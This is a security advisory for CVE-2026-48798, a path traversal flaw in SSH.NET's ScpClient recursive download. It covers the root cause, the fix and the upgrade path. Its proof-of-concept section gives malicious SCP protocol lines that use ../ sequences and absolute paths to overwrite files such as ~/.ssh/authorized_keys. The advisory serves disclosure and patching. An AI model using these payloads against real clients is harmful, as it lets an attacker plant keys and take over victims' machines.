high · 7.1CVE-2026-48798Aug 12, 2026

CVE-2026-48798: SSH.NET ScpClient Recursive Download Path Traversal

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A malicious or man-in-the-middle SCP server can trick the SSH.NET client into writing files anywhere on the local filesystem by returning directory entries with path-traversal sequences in their…

PackageSSH.NET
Ecosystemnuget
Affected<= 2025.1.0
Fixed in2026.0.0
CVE-2026-48798: SSH.NET ScpClient Recursive Download Path Traversal

The problem

ScpClient.Download(string directoryName, DirectoryInfo directoryInfo) in SSH.NET <= 2025.1.0 writes files and directories using names sent by the remote SCP server with no validation that the resolved local path stays inside the requested destination directory.

A malicious, compromised, or MITM SCP server can return filenames containing ../ sequences or absolute paths. This lets the server write or overwrite arbitrary files anywhere the client process has permission, including ~/.ssh/authorized_keys, shell RC files, cron jobs, or application binaries.

Proof of concept

A working proof-of-concept for CVE-2026-48798 in SSH.NET, with the exact payload below.

text
# Malicious SCP server sends this protocol stream during a recursive download.
# The SCP sink protocol: each directory entry is introduced by a 'D' line,
# each file by a 'C' line, with the name field as the last token.
#
# Normal (safe) entry:
#   D0755 0 subdir\n
#   C0644 13 hello.txt\n
#
# Malicious entries that exploit the missing path check:

# 1. Relative traversal - writes into a sibling directory:
D0755 0 ../evil-dir
C0644 29 ../evil-dir/payload.sh
<file contents: malicious shell script>

# 2. Absolute path - writes directly to an arbitrary location:
C0644 29 /home/victim/.ssh/authorized_keys
<file contents: attacker public key>

# 3. Deep traversal - overwrites system binary (if process is privileged):
D0755 0 ../../../../../../tmp
C0644 7 ../../../../../../tmp/pwned

The SCP sink loop in ScpClient reads the name token from each 'C' (file) and 'D' (directory) protocol line and directly combines it with the local destination path using Path.Combine. Path.Combine on .NET silently discards all preceding components when it encounters an absolute-path segment, and ../ sequences are never normalised or checked against the base directory, so either form escapes the intended tree.

The fix in commit 600be0de adds a validation step after constructing the candidate local path: it resolves the full path and checks that it starts with the canonical destination directory path, throwing ScpException if it does not. This is the same class of bug as OpenSSH CVE-2019-6111 (server-controlled SCP filenames on recursive download), which the advisory explicitly references.

The fix

Upgrade SSH.NET (NuGet package SSH.NET) to version 2026.0.0 or later. The patched release validates every server-supplied name and throws ScpException on any path that would resolve outside the intended local directory. There is no configuration workaround in older versions; avoid using ScpClient.Download with untrusted SCP servers until patched.

Reporter not attributed.

References: [1][2][3]

Related research